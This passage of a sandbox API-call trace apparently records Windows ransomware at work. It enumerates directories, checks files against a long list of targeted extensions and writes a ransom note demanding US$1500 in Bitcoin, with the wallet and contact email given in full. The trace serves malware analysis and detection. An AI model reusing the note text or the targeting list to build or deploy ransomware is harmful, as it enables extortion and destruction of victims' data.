(pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.m4a") returned 0 [0119.332] lstrlenA (lpString="*.m4a") returned 5 [0119.332] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Iden1fe87377#\\8fdaf5a3fb368bb813f0ac1ff10c2e99\\System.IdentityModel.Services.ni.dll.aux", pszSpec="*.csv") returned 0 [0119.332] lstrlenA (lpString="*.csv") returned 5 [0119.332] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa83da910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa83da910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x848, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.IdentityModel.Services.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.332] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.332] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa83da910, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa83da910, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa83da910, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="8fdaf5a3fb368bb813f0ac1ff10c2e99", cAlternateFileName="8FDAF5~1")) returned 0 [0119.332] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.333] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0fcf890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0fcf890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Idena7b556ff#", cAlternateFileName="SYSTEM~2.IDE")) returned 1 [0119.333] lstrcmpA (lpString1=".", lpString2="System.Idena7b556ff#") returned -1 [0119.333] lstrcmpA (lpString1="..", lpString2="System.Idena7b556ff#") returned -1 [0119.333] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.333] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Idena7b556ff#" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#" [0119.333] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#") returned 67 [0119.333] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0fcf890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0fcf890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.337] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.337] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0fcf890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0fcf890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.337] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.337] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.337] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0fcf890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0fcf890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="d9ae515917adf48488f3aae28f96525a", cAlternateFileName="D9AE51~1")) returned 1 [0119.337] lstrcmpA (lpString1=".", lpString2="d9ae515917adf48488f3aae28f96525a") returned -1 [0119.337] lstrcmpA (lpString1="..", lpString2="d9ae515917adf48488f3aae28f96525a") returned -1 [0119.337] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\*.*") returned="*.*" [0119.337] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\", lpString2="d9ae515917adf48488f3aae28f96525a" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a" [0119.337] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a") returned 100 [0119.337] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0fcf890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0fcf890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0119.347] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.347] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa0fcf890, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0fcf890, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0fcf890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.347] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.347] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.348] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa0fa9730, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa0fa9730, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa0fcf890, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x40e00, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="System.IdentityModel.Selectors.ni.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0119.348] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0119.348] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="System.IdentityModel.Selectors.ni.dll") returned -1 [0119.348] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="System.IdentityModel.Selectors.ni.dll") returned -1 [0119.348] lstrcmpiA (lpString1="", lpString2="System.IdentityModel.Selectors.ni.dll") returned -1 [0119.348] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\*.*") returned="*.*" [0119.348] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\" [0119.348] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\" | out: pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\") returned="" [0119.348] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\HOW TO DECRYPT FILES.txt" [0119.348] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\how to decrypt files.txt")) returned 0xffffffff [0119.348] CreateFileA (lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0119.350] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0119.350] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0119.352] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0119.353] CloseHandle (hObject=0x90) returned 1 [0119.353] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\", lpString2="System.IdentityModel.Selectors.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll" [0119.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ems") returned 0 [0119.353] lstrlenA (lpString="*.ems") returned 5 [0119.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.db") returned 0 [0119.353] lstrlenA (lpString="*.db") returned 4 [0119.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dbf") returned 0 [0119.353] lstrlenA (lpString="*.dbf") returned 5 [0119.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.myox") returned 0 [0119.353] lstrlenA (lpString="*.myox") returned 6 [0119.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.myo") returned 0 [0119.353] lstrlenA (lpString="*.myo") returned 5 [0119.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbw") returned 0 [0119.353] lstrlenA (lpString="*.qbw") returned 5 [0119.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbb") returned 0 [0119.353] lstrlenA (lpString="*.qbb") returned 5 [0119.353] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbm") returned 0 [0119.354] lstrlenA (lpString="*.qbm") returned 5 [0119.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbo") returned 0 [0119.354] lstrlenA (lpString="*.qbo") returned 5 [0119.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbx") returned 0 [0119.354] lstrlenA (lpString="*.qbx") returned 5 [0119.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qba") returned 0 [0119.354] lstrlenA (lpString="*.qba") returned 5 [0119.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qby") returned 0 [0119.354] lstrlenA (lpString="*.qby") returned 5 [0119.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qbj") returned 0 [0119.354] lstrlenA (lpString="*.qbj") returned 5 [0119.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ofx") returned 0 [0119.354] lstrlenA (lpString="*.ofx") returned 5 [0119.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.qif") returned 0 [0119.354] lstrlenA (lpString="*.qif") returned 5 [0119.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mye") returned 0 [0119.354] lstrlenA (lpString="*.mye") returned 5 [0119.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mbox") returned 0 [0119.354] lstrlenA (lpString="*.mbox") returned 6 [0119.354] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.eml") returned 0 [0119.354] lstrlenA (lpString="*.eml") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pst") returned 0 [0119.355] lstrlenA (lpString="*.pst") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ost") returned 0 [0119.355] lstrlenA (lpString="*.ost") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.idx") returned 0 [0119.355] lstrlenA (lpString="*.idx") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dbx") returned 0 [0119.355] lstrlenA (lpString="*.dbx") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.sql") returned 0 [0119.355] lstrlenA (lpString="*.sql") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mdb") returned 0 [0119.355] lstrlenA (lpString="*.mdb") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.fdb") returned 0 [0119.355] lstrlenA (lpString="*.fdb") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.wab") returned 0 [0119.355] lstrlenA (lpString="*.wab") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dat") returned 0 [0119.355] lstrlenA (lpString="*.dat") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.txt") returned 0 [0119.355] lstrlenA (lpString="*.txt") returned 5 [0119.355] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.jpeg") returned 0 [0119.355] lstrlenA (lpString="*.jpeg") returned 6 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.jpg") returned 0 [0119.356] lstrlenA (lpString="*.jpg") returned 5 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.png") returned 0 [0119.356] lstrlenA (lpString="*.png") returned 5 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.php") returned 0 [0119.356] lstrlenA (lpString="*.php") returned 5 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.cs") returned 0 [0119.356] lstrlenA (lpString="*.cs") returned 4 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.cpp") returned 0 [0119.356] lstrlenA (lpString="*.cpp") returned 5 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.rar") returned 0 [0119.356] lstrlenA (lpString="*.rar") returned 5 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.zip") returned 0 [0119.356] lstrlenA (lpString="*.zip") returned 5 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.html") returned 0 [0119.356] lstrlenA (lpString="*.html") returned 6 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.htm") returned 0 [0119.356] lstrlenA (lpString="*.htm") returned 5 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.xlsx") returned 0 [0119.356] lstrlenA (lpString="*.xlsx") returned 6 [0119.356] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.xls") returned 0 [0119.357] lstrlenA (lpString="*.xls") returned 5 [0119.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mp4") returned 0 [0119.357] lstrlenA (lpString="*.mp4") returned 5 [0119.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.ppt") returned 0 [0119.357] lstrlenA (lpString="*.ppt") returned 5 [0119.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.pptx") returned 0 [0119.357] lstrlenA (lpString="*.pptx") returned 6 [0119.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.doc") returned 0 [0119.357] lstrlenA (lpString="*.doc") returned 5 [0119.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.dot") returned 0 [0119.357] lstrlenA (lpString="*.dot") returned 5 [0119.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.docx") returned 0 [0119.357] lstrlenA (lpString="*.docx") returned 6 [0119.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.7z") returned 0 [0119.357] lstrlenA (lpString="*.7z") returned 4 [0119.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.tar") returned 0 [0119.357] lstrlenA (lpString="*.tar") returned 5 [0119.357] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.bz2") returned 0 [0119.358] lstrlenA (lpString="*.bz2") returned 5 [0119.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.gz") returned 0 [0119.358] lstrlenA (lpString="*.gz") returned 4 [0119.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.mkv") returned 0 [0119.358] lstrlenA (lpString="*.mkv") returned 5 [0119.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.eml") returned 0 [0119.358] lstrlenA (lpString="*.eml") returned 5 [0119.358] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Idena7b556ff#\\d9ae515917adf48488f3aae28f96525a\\System.IdentityModel.Selectors.ni.dll", pszSpec="*.msg") returned 0 [0119.358] lstrlenA (lpString="*.msg") returned 5 [0119.358] PathMatchSpecA 